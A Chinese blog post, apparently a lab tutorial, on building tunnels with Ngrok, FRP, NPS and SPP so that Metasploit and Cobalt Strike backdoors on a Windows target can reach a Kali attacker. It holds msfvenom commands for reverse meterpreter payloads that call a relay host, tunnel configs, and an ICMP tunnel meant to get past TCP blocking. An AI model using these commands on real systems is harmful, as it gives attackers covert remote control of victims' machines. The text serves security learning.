内网渗透—内网穿透工具NgrokFRPNPSSPP
前言
主要介绍一下常见的隧道搭建工具,以此来达到一个内网穿透的目的。简单说一下实验滴环境吧,kali作为攻击机,winserver2016作为目标靶机。
kali 192.168.145.171
winserver2016 10.236.44.127
显然它们处于两个不同的局域网,此时要想通过msf来让winserver上线到kali是不可能滴。因为,kali处于另一个局域网内,winserver是找不到它的。那么此时我们就可以借助内网穿透工具,这个工具是处于公网中的,靶机是可以找到它的,然后这个工具再把流量转发到kali,不就可以实现上线了吗。有人可能会说,那我直接在vps安装一个msf不就行了吗。这个确实是可以,但是vps是要钱滴,而且你kaili那么多工具,你不可能全部都安装到vps上面吧。所以最终还是得利用内网穿透,来突破两个不同的局域网的限制,达到一个上线的目的。
Ngrok内网穿透
首先到官网注册一个账号。
地址:Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器
点击开通隧道,购买一个服务器,直接买这个免费的就行了。
协议的话这个工具支持三种,http、https、tcp。注意你这里选择什么协议开通的隧道,后面生成后门的时候就要选择相对于的协议。下面填的是kali的ip以及端口,其它密码啥的就不用管啦。
开通成功,点击客户端下载。
选择相对应的系统下载就行。
客户端执行下面命令,后面这串数字就是你隧道的id。奇怪的事情又来了,执行命令之后什么的反应也没有,实验步骤我也没有错啊。
./sunny clientid 210543434570
而且我直接复制它这个命令也不行,唉难搞。有无大佬知道为啥的,还恳请指点一二,有偿答谢。
这里我就简单说一下假如成功该咋样操作,msf生成后门,这里lhost绑定的是隧道生成的域名,lport绑定的是80端口,因为这个Ngrok这个网站默认是80端口,注意你隧道是什么协议,后门生成就用什么协议。
msfvenom -p windows/x64/meterpreter/reverse_http lhost=test1.free.idcfengye.com lport=80 -f exe >/home/wlw666/桌面/hhh.exe
设置监听,监听端口是你生成隧道时填的端口,然后直接run即可。靶机上的后门先把流量发送到Ngrok服务端也就是网站,然后由于前面我们kail作为客户端已经和服务端建立连接,服务端就会把流量转发到我们的kali,实现上线msf。简单来说就是Ngrok服务端充当了一个在公网的中转站,让两个不同的局域网进行交流。
FRP内网穿透
FRP和Ngrok都差不多,只是它支持的协议要比Ngrok多好多,可以说是进阶款的工具。使用起来也是非常简单滴,同理也有客户端和服务端。当然啦,也分linux和windows版本,下载相对应的版本即可,这里我就不放链接了,因为我找不到了,实验环境还是差不多的。
vps 8.xxx.xxx.xxx
kali 192.168.145.171
靶机 10.236.2.204
顺便说一下,使用这个工具需要一台vps。Ngrok不需要vps是因为它网站本身充当了vps。把服务端以及配置文件上传到vps,也就是frps和frps.ini。服务端配置文件默认使用7000端口进行通讯。
启动客户端。
./frps
接着把客户端和客户端配置文件放到kali上面,也就是frpc和frpc.ini。修改客户端配置文件,顺便说明一下参数。
[common]
server_addr = 8.xxx.xxx.xxxx //服务端地址
server_port = 7000 //服务端通讯端口[test]
type = tcp //隧道协议
local_ip = 192.168.145.171 //kali的ip
local_port = 1111 //本地接收流量端口
remote_port = 2222 //服务端转发流量的端口
启动服务端。
./frpc -c frpc.ini
此时我们的vps和kali,通过frps和frpc建立了连接。访问8.xxx.xxx.xxx:2222的流量会通过我们建立的隧道转发到192.168.145.171:1111。使用msf生成一个后门,注意你上面设置的是什么隧道,我们就要生成什么协议的后门。
msfvenom -p windows/meterpreter/reverse_tcp lhost=8.xxx.xxx.xxx lport=2222 -f exe >/home/wlw666/桌面/hhh.exe
设置监听,监听地址是kali本地,端口自然也是1111。
放到靶机上面去运行,可以看到服务端显示有IP连接。
成功上线msf。
NPS内网穿透
这个NPS支持的协议就更多了,几乎支持所有常见的协议。使用方式和Ngrok差不多,Ngrok就是基于NPS开发的。同理也是有客户端和服务端,下载相对应的系统版本即可。实验环境和FRP的一样,就不再赘述了。
下载地址:Releases · ehang-io/nps (github.com)
服务端上传到vps,这里说一下服务端配置文件主要的参数,其它的不用管也行。
##bridge
bridge_type=tcp //隧道协议
bridge_port=8024 //服务端与客户端连接的端口
bridge_ip=0.0.0.0#web
web_host=a.o.com
web_username=admin //网站默认账号
web_password=1234 //网站默认密码
web_port = 8080 //网站默认访问端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps
启动服务端。
网页访问一下,输入默认密码账号。
先新增一个客户端,备注随便弄个名字,其它密码啥的不用设置也行。
点击新建一个tcp隧道,客户id填我们刚刚创建的,备注随便,下面端口随便。2222是我们服务端接收流量的端口,1111是流量要转发到的端口。
客户端拖到kali上面,输入命令进行安装。
./nps install
说一下客户端配置文件主要参数。
[common]
server_addr=8.xxx.xxx.xxx:8024 //vps地址,端口要和服务端的一样
conn_type=tcp //协议要和服务端一样
vkey=123456 //不用管
启动客户端,这个vkey就是你创建的客户端的唯一验证密钥。
./npc -server=8.xxx.xxx.xxx:8024 -vkey=sndudbk16evol2gv -type=tcp
msf生成后门,绑定的是vps的地址也就是服务端,端口是2222而不是1111。后门连接到vps的2222端口,然后转发到客户端也就是kaili的1111端口。
msfvenom -p windows/meterpreter/reverse_tcp lhost=8.xxx.xxx.xxx lport=2222 -f exe >/home/wlw666/桌面/1111.exe
设置监听,然后直接run。
后门放到windows上面运行即可上线msf。
SPP内网穿透
这个工具集成了穿透和隧道两个功能,既可以用来进行内网穿透也可以搭建隧道。如果在实战中遇到比较极端的环境,比如把tcp还有其它的协议封杀干净了,就可以用这个工具。
支持的协议:
TCP、UDP、RUDP(可靠 UDP)、RICMP(可靠 ICMP)、RHTTP(可靠 HTTP)、KCP、Quic
支持类型:
正向代理、反向代理、SOCKS5正向代理、SOCKS5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合
这里这个工具主要是演示一下隧道的搭建,这里windows靶机出站和入站我都封杀了tcp,演示一下icmp上线,实验环境依旧不变。
这个也是分客户端和服务端的,只不过它的客户端和服务端都是同一个文件。下载相对应的系统版本即可。
工具下载地址:Releases · esrrhs/spp (github.com)
这个工具也需要vps才行,因为不像Ngrok有网站来充当vps。启动服务端,监听本地icmp数据。
./spp -type server -proto ricmp -listen 0.0.0.0 ##这里设置监听ICMP协议,全端口
靶机是Windows,所以还得下载一个Windows版本的spp充当客户端。靶机执行命令,但是奇怪的事情又来了,命令执行后一直报错。一直说无法连接到服务端???但是我服务端是放在公网的vps的,而且ping也能ping通。我真的想骂人了。各种奇奇怪怪的问题都能遇见,真的烦啊。
把本地1111端口的tcp流量,封装成icmp然后转发到服务端的2222端口spp.exe -name "test" -type proxy_client -server 服务端ip -fromaddr :1111 -toaddr :2222 -proxyproto tcp -proto ricmp
我又把服务端放到与靶机同一局域网的kali,居然又能连接上了,那为什么连不是vps的服务端,真的是cnmb。
这里我就当可以连接上vps的服务端了,然后说一下如何上线CS。生成两个监听器,一个监听服务端的222端口,一个监听本地的1111端口。
用app-2生成一个后门放到靶机上面运行,成功上线之后。你会发现上线用的监听器是spp-1,而不是生成后门的spp-2。这是因为如果我们直接用spp-1生成后门的话,它流量是出不来的,因为我们封杀的tcp嘛。spp-2生成后门的话它的流量只会在原地转圈,因为连接地址为127.0.0.1。再通过SPP把流量封装好,转发到服务端的2222端口,此时我们的spp-1监听的是服务端,自然是spp-1上线咯。
总结
这个实验我没有做成功,老是遇到一些奇奇怪怪的问题,烦死了。如若有师傅了解,还恳请指点一二,有偿答谢。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
相关文章:

内网渗透—内网穿透工具NgrokFRPNPSSPP
前言 主要介绍一下常见的隧道搭建工具,以此来达到一个内网穿透的目的。简单说一下实验滴环境吧,kali作为攻击机,winserver2016作为目标靶机。 kali 192.168.145.171 winserver2016 10.236.44.127 显然它们处于两个不同的局域网,…...

嵌入式中传感器数据处理方法
大家好,在传感器使用中,我们常常需要对传感器数据进行各种整理,让应用获得更好的效果,以下介绍几种常用的简单处理方法: 加权平滑:平滑和均衡传感器数据,减小偶然数据突变的影响。 抽取突变:去除静态和缓慢变化的数据背景,强调瞬间变化。 简单移动平均线:保留数据流最…...

生成式 AI 的发展方向,是 Chat 还是 Agent?
据《福布斯》报道,商业的未来是自动化。他们报告说,自动化的应用是不可避免的,“工人们即将被一个圈子和一套规则包围,要严格遵守,不能偏离。得益于聊天机器人ChatGPT于2022年11月推出所带来的强劲加持,202…...

金字塔监督在人脸反欺骗中的应用
介绍 论文地址:https://arxiv.org/pdf/2011.12032.pdf 近年来,人脸识别技术越来越普及。在智能手机解锁和进出机场时,理所当然地会用到它。人脸识别也有望被用于管理今年奥运会的相关人员。但与此同时,人们对人脸欺骗的关注度也…...
vue3——两种利用自定义指令实现防止按钮重复点击的方法
方法一:利用定时器设置时间,下方代码设置时间为1秒 但是有个缺点:请求如果很慢,1秒钟还没有好,那么该方法就没用了 // 利用定时器:1秒之后才能再次点击app.directive(preventReClick, {mounted: (el, bind…...

Chrome谷歌浏览器Console(控制台)显示文件名及行数
有没有这样的困扰?Chrome谷歌浏览器console(控制台)不显示编译文件名及行数? 设置(Settings)- > 忽略列表(lgnore List)-> 自定义排除规则(Custom exclusion rules) 将自定义排除规则…...

Vue3+Element Plus 实现table表格中input的验证
实现效果 html部分 <template><div class"table"><el-form ref"tableFormRef" :model"form"><el-table :data"form.detailList"><el-table-column type"selection" width"55" align&…...

安宝特方案|解放双手,解决死角,AR带来质量监督新体验
AR质量监督 解放双手,解决死角 在当今制造业快速发展的背景下,质量监督成为确保产品高质量和完善的管理制度的关键环节。然而,传统的质量监督方式存在诸多挑战,如人工操作带来的效率低下、查岗不及时、摄像头死角等问题。 为了解…...
Django教程(005):基于ORM操作数据库的部门管理系统
文章目录 1、功能介绍2、新建项目3、创建app4、 表结构创建6、生成表7、静态文件管理8、部门管理8.1、部门列表8.2、添加部门8.3、删除部门8.4、编辑部门9、员工管理9.1、员工列表9.2、使用ModelForm添加员工9.3、编辑员工9.4、删除员工10、完整代码下载地址1、功能介绍 部门添…...

git等常用工具以及cmake
一、将git中的代码克隆进电脑以及常用工具介绍 1.安装git 首先需要安装git sudo apt install git 注意一定要加--recursive,因为文件中有很多“引用文件“,即第三方文件(库),加入该选项会将文件中包含的子模…...

Mybatis(四)特殊SQL的查询:模糊查询、批量删除、动态设置表明、添加功能获取自增的主键
实体类: 数据库: 1、模糊查询 方案一: 不适用#{ },’%?%‘ 问号是属于字符串的一部分 不会被解析成占位符,会被当作是我们字符串的一部分来解析,所以我们执行的语句中找不到占位符,但是我们却…...
JS原型与原型链
JS原型与原型链 JavaScript中一切引用类型都是对象,对象就是属性的集合。 Array类型、Function类型、Object类型、Date类型、RegExp类型等都是引用类型。 原型是什么 总计一句话就是(继承里的父亲,你可以使用你的原型里的函数)…...
Python编程学习第一篇——Python零基础快速入门(六)(4)异常处理
我们已经了解了Python的基本数据类型、变量和基本的逻辑控制语句,基于这些基础知识可以编写一些小程序了,但是在写程序的时候我们会发现,有时候程序并不是按我们预期的方向执行,有的直接报错,有的没有报错,…...

GraphHopper-map-navi_路径规划、导航(web前端页面版)
文章目录 一、项目地址二、踩坑环境三、问题记录3.1、graphhopper中地图问题3.1.1. getOpacity不存在的问题3.1.2. dispatchEvent不存在的问题3.1.3. vectorLayer.set(background-maplibre-layer, true)不存在set方法3.1.4. maplibre-gl.js.map不存在的问题3.1.5. Uncaught Ref…...

2-46 基于matlab的声音信号的短时能量、短时过零率、端点检测
基于matlab的声音信号的短时能量、短时过零率、端点检测。通过计算计算短时能量、调整能量门限,然后开始端点检测。输出可视化结果。程序已调通,可直接运行。 2-46 短时能量 短时过零率 端点检测 - 小红书 (xiaohongshu.com)...
力扣630.课程表 II
力扣630.课程表 II 反悔堆 将课程按照结束时间从大到小排序每次取一个判断当前是否能学完该课程如果能学完就将持续时间加入堆 更新答案如果学不完就判断该课程持续时间是否比之前学过的最大的还大 用时更短的话就将旧的弹出 class Solution {public:int scheduleCourse(ve…...
数字IC后端流程简述
1. 设计输入 目标:接收前端设计(如RTL代码和约束文件)的输出。 工具:前端设计工具(如Synopsys Design Compiler或Cadence Genus)。 步骤: 确保前端设计的RTL代码经过综合并生成了门级网表(Netlist)。 收集约束文件(Constraints),如时序约束(SDC文件)、功率约束等…...
数学建模--整数规划和非线性规划
目录 整数规划 非线性规划 总结 整数规划中分支定界法的具体步骤和实现细节是什么? 初始化: 分支: 定界: 剪枝: 终止条件: 非线性规划中的梯度法、牛顿法和拟牛顿法的比较分析有哪些?…...

Linux-查看dd命令进度
查看dd命令进度 一、概述1. 在一个终端执行拷贝任务2. 在另一终端执行进度命令 一、概述 系统:Ubuntu 22.04 在使用 dd 命令做拷贝大量数据的时候,因为并没有输出,所以比较难判断当前进度,因此可以使用下面的命令作为进度查看 …...

高效微调 100 多种大语言模型:先计算法,急速推理!
hiyouga/LLaMA-Factoryhttps://github.com/hiyouga/LLaMA-Factory Stars: 26.9k License: Apache-2.0 LLaMA-Factory 是一个用于高效微调 100 多个大型语言模型(ACL 2024)的 WebUI。 多种模型:LLaMA、LLaVA、Mistral、Mixtral-MoE、Qwen、Y…...

MongoDB学习和应用(高效的非关系型数据库)
一丶 MongoDB简介 对于社交类软件的功能,我们需要对它的功能特点进行分析: 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具: mysql:关系型数据库&am…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...

CMake 从 GitHub 下载第三方库并使用
有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

多种风格导航菜单 HTML 实现(附源码)
下面我将为您展示 6 种不同风格的导航菜单实现,每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...

html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...

C++使用 new 来创建动态数组
问题: 不能使用变量定义数组大小 原因: 这是因为数组在内存中是连续存储的,编译器需要在编译阶段就确定数组的大小,以便正确地分配内存空间。如果允许使用变量来定义数组的大小,那么编译器就无法在编译时确定数组的大…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...

MFC 抛体运动模拟:常见问题解决与界面美化
在 MFC 中开发抛体运动模拟程序时,我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点,详细解析原因并提供解决方案,同时兼顾界面美化,让模拟效果更专业、更高效。 问题一:历史轨迹与小球残影残留 现象 小球运动后,历史位置的 “残影”…...